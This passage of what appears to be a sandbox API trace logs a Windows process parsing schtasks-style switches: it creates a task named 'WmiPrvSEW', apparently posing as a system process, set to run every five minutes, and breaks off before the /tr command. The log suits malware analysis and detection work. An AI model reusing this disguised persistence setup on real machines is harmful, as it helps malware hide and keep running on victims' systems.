_Size=0x7) returned 0 [0087.702] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|rp|") returned 4 [0087.703] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.703] lstrlenW (lpString="|rp|") returned 4 [0087.703] lstrlenW (lpString="|tn|") returned 4 [0087.703] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0087.703] SetLastError (dwErrCode=0x490) [0087.703] lstrlenW (lpString="sc") returned 2 [0087.703] lstrlenW (lpString="sc") returned 2 [0087.703] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.703] lstrlenW (lpString="tn") returned 2 [0087.703] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.703] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.703] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.703] lstrlenW (lpString="|sc|") returned 4 [0087.703] lstrlenW (lpString="|tn|") returned 4 [0087.703] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0087.703] SetLastError (dwErrCode=0x490) [0087.703] lstrlenW (lpString="mo") returned 2 [0087.703] lstrlenW (lpString="mo") returned 2 [0087.703] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.703] lstrlenW (lpString="tn") returned 2 [0087.703] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.704] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.704] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.704] lstrlenW (lpString="|mo|") returned 4 [0087.704] lstrlenW (lpString="|tn|") returned 4 [0087.704] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0087.704] SetLastError (dwErrCode=0x490) [0087.704] lstrlenW (lpString="d") returned 1 [0087.704] lstrlenW (lpString="d") returned 1 [0087.704] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.704] lstrlenW (lpString="tn") returned 2 [0087.704] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.704] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|d|") returned 3 [0087.704] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.704] lstrlenW (lpString="|d|") returned 3 [0087.704] lstrlenW (lpString="|tn|") returned 4 [0087.704] SetLastError (dwErrCode=0x490) [0087.704] lstrlenW (lpString="m") returned 1 [0087.704] lstrlenW (lpString="m") returned 1 [0087.704] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.704] lstrlenW (lpString="tn") returned 2 [0087.704] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.704] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|m|") returned 3 [0087.704] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.704] lstrlenW (lpString="|m|") returned 3 [0087.705] lstrlenW (lpString="|tn|") returned 4 [0087.705] SetLastError (dwErrCode=0x490) [0087.705] lstrlenW (lpString="i") returned 1 [0087.705] lstrlenW (lpString="i") returned 1 [0087.705] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.705] lstrlenW (lpString="tn") returned 2 [0087.705] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.705] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|i|") returned 3 [0087.705] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.705] lstrlenW (lpString="|i|") returned 3 [0087.705] lstrlenW (lpString="|tn|") returned 4 [0087.705] SetLastError (dwErrCode=0x490) [0087.705] lstrlenW (lpString="tn") returned 2 [0087.705] lstrlenW (lpString="tn") returned 2 [0087.705] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.705] lstrlenW (lpString="tn") returned 2 [0087.705] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.705] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.705] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tn|") returned 4 [0087.705] lstrlenW (lpString="|tn|") returned 4 [0087.705] lstrlenW (lpString="|tn|") returned 4 [0087.705] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0087.705] SetLastError (dwErrCode=0x0) [0087.706] SetLastError (dwErrCode=0x0) [0087.706] lstrlenW (lpString="WmiPrvSEW") returned 9 [0087.706] lstrlenW (lpString="-/") returned 2 [0087.706] StrChrIW (lpStart="-/", wMatch=0x57) returned 0x0 [0087.706] SetLastError (dwErrCode=0x490) [0087.706] SetLastError (dwErrCode=0x490) [0087.706] SetLastError (dwErrCode=0x0) [0087.706] lstrlenW (lpString="WmiPrvSEW") returned 9 [0087.706] StrChrIW (lpStart="WmiPrvSEW", wMatch=0x3a) returned 0x0 [0087.706] SetLastError (dwErrCode=0x490) [0087.706] SetLastError (dwErrCode=0x0) [0087.706] lstrlenW (lpString="WmiPrvSEW") returned 9 [0087.706] SetLastError (dwErrCode=0x0) [0087.706] SetLastError (dwErrCode=0x0) [0087.706] lstrlenW (lpString="/sc") returned 3 [0087.706] lstrlenW (lpString="-/") returned 2 [0087.706] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.706] lstrlenW (lpString="create") returned 6 [0087.706] lstrlenW (lpString="create") returned 6 [0087.706] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.706] lstrlenW (lpString="sc") returned 2 [0087.706] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.706] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|create|") returned 8 [0087.706] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.706] lstrlenW (lpString="|create|") returned 8 [0087.707] lstrlenW (lpString="|sc|") returned 4 [0087.707] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0087.707] SetLastError (dwErrCode=0x490) [0087.707] lstrlenW (lpString="?") returned 1 [0087.707] lstrlenW (lpString="?") returned 1 [0087.707] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.707] lstrlenW (lpString="sc") returned 2 [0087.707] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.707] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|?|") returned 3 [0087.707] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.707] lstrlenW (lpString="|?|") returned 3 [0087.707] lstrlenW (lpString="|sc|") returned 4 [0087.707] SetLastError (dwErrCode=0x490) [0087.707] lstrlenW (lpString="s") returned 1 [0087.707] lstrlenW (lpString="s") returned 1 [0087.707] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.707] lstrlenW (lpString="sc") returned 2 [0087.707] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.707] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|s|") returned 3 [0087.707] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.707] lstrlenW (lpString="|s|") returned 3 [0087.707] lstrlenW (lpString="|sc|") returned 4 [0087.707] SetLastError (dwErrCode=0x490) [0087.707] lstrlenW (lpString="u") returned 1 [0087.708] lstrlenW (lpString="u") returned 1 [0087.708] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.708] lstrlenW (lpString="sc") returned 2 [0087.708] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.708] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|u|") returned 3 [0087.708] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.708] lstrlenW (lpString="|u|") returned 3 [0087.708] lstrlenW (lpString="|sc|") returned 4 [0087.708] SetLastError (dwErrCode=0x490) [0087.708] lstrlenW (lpString="p") returned 1 [0087.708] lstrlenW (lpString="p") returned 1 [0087.708] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.708] lstrlenW (lpString="sc") returned 2 [0087.708] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.708] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|p|") returned 3 [0087.708] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.708] lstrlenW (lpString="|p|") returned 3 [0087.708] lstrlenW (lpString="|sc|") returned 4 [0087.708] SetLastError (dwErrCode=0x490) [0087.708] lstrlenW (lpString="ru") returned 2 [0087.708] lstrlenW (lpString="ru") returned 2 [0087.708] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.708] lstrlenW (lpString="sc") returned 2 [0087.709] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.709] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|ru|") returned 4 [0087.709] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.709] lstrlenW (lpString="|ru|") returned 4 [0087.709] lstrlenW (lpString="|sc|") returned 4 [0087.709] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0087.709] SetLastError (dwErrCode=0x490) [0087.709] lstrlenW (lpString="rp") returned 2 [0087.709] lstrlenW (lpString="rp") returned 2 [0087.709] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.709] lstrlenW (lpString="sc") returned 2 [0087.709] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.709] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|rp|") returned 4 [0087.709] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.709] lstrlenW (lpString="|rp|") returned 4 [0087.709] lstrlenW (lpString="|sc|") returned 4 [0087.709] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0087.709] SetLastError (dwErrCode=0x490) [0087.709] lstrlenW (lpString="sc") returned 2 [0087.709] lstrlenW (lpString="sc") returned 2 [0087.709] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.709] lstrlenW (lpString="sc") returned 2 [0087.709] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.710] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.710] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.710] lstrlenW (lpString="|sc|") returned 4 [0087.710] lstrlenW (lpString="|sc|") returned 4 [0087.710] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0087.710] SetLastError (dwErrCode=0x0) [0087.710] SetLastError (dwErrCode=0x0) [0087.710] lstrlenW (lpString="MINUTE") returned 6 [0087.710] lstrlenW (lpString="-/") returned 2 [0087.710] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0087.710] SetLastError (dwErrCode=0x490) [0087.710] SetLastError (dwErrCode=0x490) [0087.710] SetLastError (dwErrCode=0x0) [0087.710] lstrlenW (lpString="MINUTE") returned 6 [0087.710] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0087.710] SetLastError (dwErrCode=0x490) [0087.710] SetLastError (dwErrCode=0x0) [0087.710] GetProcessHeap () returned 0xe0000 [0087.710] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x18) returned 0xfd6b0 [0087.710] _memicmp (_Buf1=0xfd6b0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.710] lstrlenW (lpString="MINUTE") returned 6 [0087.710] GetProcessHeap () returned 0xe0000 [0087.710] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0xe) returned 0xfd6d0 [0087.710] lstrlenW (lpString="MINUTE") returned 6 [0087.710] lstrlenW (lpString=" \x09") returned 2 [0087.710] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0087.711] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0087.711] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0087.711] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0087.711] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0087.711] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0087.711] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0087.711] GetLastError () returned 0x0 [0087.711] lstrlenW (lpString="MINUTE") returned 6 [0087.711] lstrlenW (lpString="MINUTE") returned 6 [0087.751] SetLastError (dwErrCode=0x0) [0087.751] SetLastError (dwErrCode=0x0) [0087.751] lstrlenW (lpString="/mo") returned 3 [0087.751] lstrlenW (lpString="-/") returned 2 [0087.751] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.752] lstrlenW (lpString="create") returned 6 [0087.752] lstrlenW (lpString="create") returned 6 [0087.752] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.752] lstrlenW (lpString="mo") returned 2 [0087.752] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.752] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|create|") returned 8 [0087.752] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.752] lstrlenW (lpString="|create|") returned 8 [0087.752] lstrlenW (lpString="|mo|") returned 4 [0087.752] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0087.752] SetLastError (dwErrCode=0x490) [0087.752] lstrlenW (lpString="?") returned 1 [0087.752] lstrlenW (lpString="?") returned 1 [0087.752] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.752] lstrlenW (lpString="mo") returned 2 [0087.752] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.752] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|?|") returned 3 [0087.752] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.752] lstrlenW (lpString="|?|") returned 3 [0087.752] lstrlenW (lpString="|mo|") returned 4 [0087.752] SetLastError (dwErrCode=0x490) [0087.753] lstrlenW (lpString="s") returned 1 [0087.753] lstrlenW (lpString="s") returned 1 [0087.753] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.753] lstrlenW (lpString="mo") returned 2 [0087.753] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.753] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|s|") returned 3 [0087.753] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.753] lstrlenW (lpString="|s|") returned 3 [0087.753] lstrlenW (lpString="|mo|") returned 4 [0087.753] SetLastError (dwErrCode=0x490) [0087.753] lstrlenW (lpString="u") returned 1 [0087.753] lstrlenW (lpString="u") returned 1 [0087.753] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.753] lstrlenW (lpString="mo") returned 2 [0087.753] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.753] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|u|") returned 3 [0087.753] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.753] lstrlenW (lpString="|u|") returned 3 [0087.753] lstrlenW (lpString="|mo|") returned 4 [0087.753] SetLastError (dwErrCode=0x490) [0087.753] lstrlenW (lpString="p") returned 1 [0087.753] lstrlenW (lpString="p") returned 1 [0087.753] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.754] lstrlenW (lpString="mo") returned 2 [0087.754] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.754] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|p|") returned 3 [0087.754] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.754] lstrlenW (lpString="|p|") returned 3 [0087.754] lstrlenW (lpString="|mo|") returned 4 [0087.754] SetLastError (dwErrCode=0x490) [0087.754] lstrlenW (lpString="ru") returned 2 [0087.754] lstrlenW (lpString="ru") returned 2 [0087.754] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.754] lstrlenW (lpString="mo") returned 2 [0087.754] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.754] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|ru|") returned 4 [0087.754] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.754] lstrlenW (lpString="|ru|") returned 4 [0087.754] lstrlenW (lpString="|mo|") returned 4 [0087.754] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0087.754] SetLastError (dwErrCode=0x490) [0087.754] lstrlenW (lpString="rp") returned 2 [0087.754] lstrlenW (lpString="rp") returned 2 [0087.754] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.754] lstrlenW (lpString="mo") returned 2 [0087.754] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.754] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|rp|") returned 4 [0087.755] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.755] lstrlenW (lpString="|rp|") returned 4 [0087.755] lstrlenW (lpString="|mo|") returned 4 [0087.755] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0087.755] SetLastError (dwErrCode=0x490) [0087.755] lstrlenW (lpString="sc") returned 2 [0087.755] lstrlenW (lpString="sc") returned 2 [0087.755] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.755] lstrlenW (lpString="mo") returned 2 [0087.755] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.755] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|sc|") returned 4 [0087.755] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.755] lstrlenW (lpString="|sc|") returned 4 [0087.755] lstrlenW (lpString="|mo|") returned 4 [0087.755] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0087.755] SetLastError (dwErrCode=0x490) [0087.755] lstrlenW (lpString="mo") returned 2 [0087.755] lstrlenW (lpString="mo") returned 2 [0087.755] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.755] lstrlenW (lpString="mo") returned 2 [0087.755] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.755] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.755] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|mo|") returned 4 [0087.756] lstrlenW (lpString="|mo|") returned 4 [0087.756] lstrlenW (lpString="|mo|") returned 4 [0087.756] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0087.756] SetLastError (dwErrCode=0x0) [0087.756] SetLastError (dwErrCode=0x0) [0087.756] lstrlenW (lpString="5") returned 1 [0087.756] SetLastError (dwErrCode=0x490) [0087.756] SetLastError (dwErrCode=0x0) [0087.756] lstrlenW (lpString="5") returned 1 [0087.756] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0087.756] SetLastError (dwErrCode=0x490) [0087.756] SetLastError (dwErrCode=0x0) [0087.756] _memicmp (_Buf1=0xfd6b0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.756] lstrlenW (lpString="5") returned 1 [0087.756] lstrlenW (lpString="5") returned 1 [0087.756] lstrlenW (lpString=" \x09") returned 2 [0087.756] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0087.756] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0087.756] GetLastError () returned 0x0 [0087.756] lstrlenW (lpString="5") returned 1 [0087.756] lstrlenW (lpString="5") returned 1 [0087.756] GetProcessHeap () returned 0xe0000 [0087.756] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x4) returned 0xf5560 [0087.756] SetLastError (dwErrCode=0x0) [0087.756] SetLastError (dwErrCode=0x0) [0087.756] lstrlenW (lpString="/tr") returned 3 [0087.756] lstrlenW (lpString="-/") returned 2 [0087.756] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0087.757] lstrlenW (lpString="create") returned 6 [0087.757] lstrlenW (lpString="create") returned 6 [0087.757] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.757] lstrlenW (lpString="tr") returned 2 [0087.757] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.757] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|create|") returned 8 [0087.757] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.757] lstrlenW (lpString="|create|") returned 8 [0087.757] lstrlenW (lpString="|tr|") returned 4 [0087.757] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0087.757] SetLastError (dwErrCode=0x490) [0087.757] lstrlenW (lpString="?") returned 1 [0087.757] lstrlenW (lpString="?") returned 1 [0087.757] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.757] lstrlenW (lpString="tr") returned 2 [0087.757] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.757] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|?|") returned 3 [0087.757] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.757] lstrlenW (lpString="|?|") returned 3 [0087.757] lstrlenW (lpString="|tr|") returned 4 [0087.757] SetLastError (dwErrCode=0x490) [0087.757] lstrlenW (lpString="s") returned 1 [0087.757] lstrlenW (lpString="s") returned 1 [0087.757] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.758] lstrlenW (lpString="tr") returned 2 [0087.758] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.761] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|s|") returned 3 [0087.761] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.761] lstrlenW (lpString="|s|") returned 3 [0087.761] lstrlenW (lpString="|tr|") returned 4 [0087.761] SetLastError (dwErrCode=0x490) [0087.761] lstrlenW (lpString="u") returned 1 [0087.761] lstrlenW (lpString="u") returned 1 [0087.761] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.761] lstrlenW (lpString="tr") returned 2 [0087.761] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.761] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|u|") returned 3 [0087.761] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.761] lstrlenW (lpString="|u|") returned 3 [0087.761] lstrlenW (lpString="|tr|") returned 4 [0087.761] SetLastError (dwErrCode=0x490) [0087.761] lstrlenW (lpString="p") returned 1 [0087.761] lstrlenW (lpString="p") returned 1 [0087.761] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.761] lstrlenW (lpString="tr") returned 2 [0087.761] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.762] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|p|") returned 3 [0087.762] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.762] lstrlenW (lpString="|p|") returned 3 [0087.762] lstrlenW (lpString="|tr|") returned 4 [0087.762] SetLastError (dwErrCode=0x490) [0087.762] lstrlenW (lpString="ru") returned 2 [0087.762] lstrlenW (lpString="ru") returned 2 [0087.762] _memicmp (_Buf1=0xfc210, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.762] lstrlenW (lpString="tr") returned 2 [0087.762] _memicmp (_Buf1=0xfc350, _Buf2=0xff901b08, _Size=0x7) returned 0 [0087.762] _vsnwprintf (in: _Buffer=0xfc390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|ru|") returned 4 [0087.762] _vsnwprintf (in: _Buffer=0xfc370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc668 | out: _Buffer="|tr|") returned 4 [0087.762] lstrlenW (lpString="|ru|") returned 4 [0087.762] lstrlenW (lpString="|tr|") returned 4 [0087.762] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0087.762] SetLastError (dwErrCode=0x490) [0087.762] lstrlenW 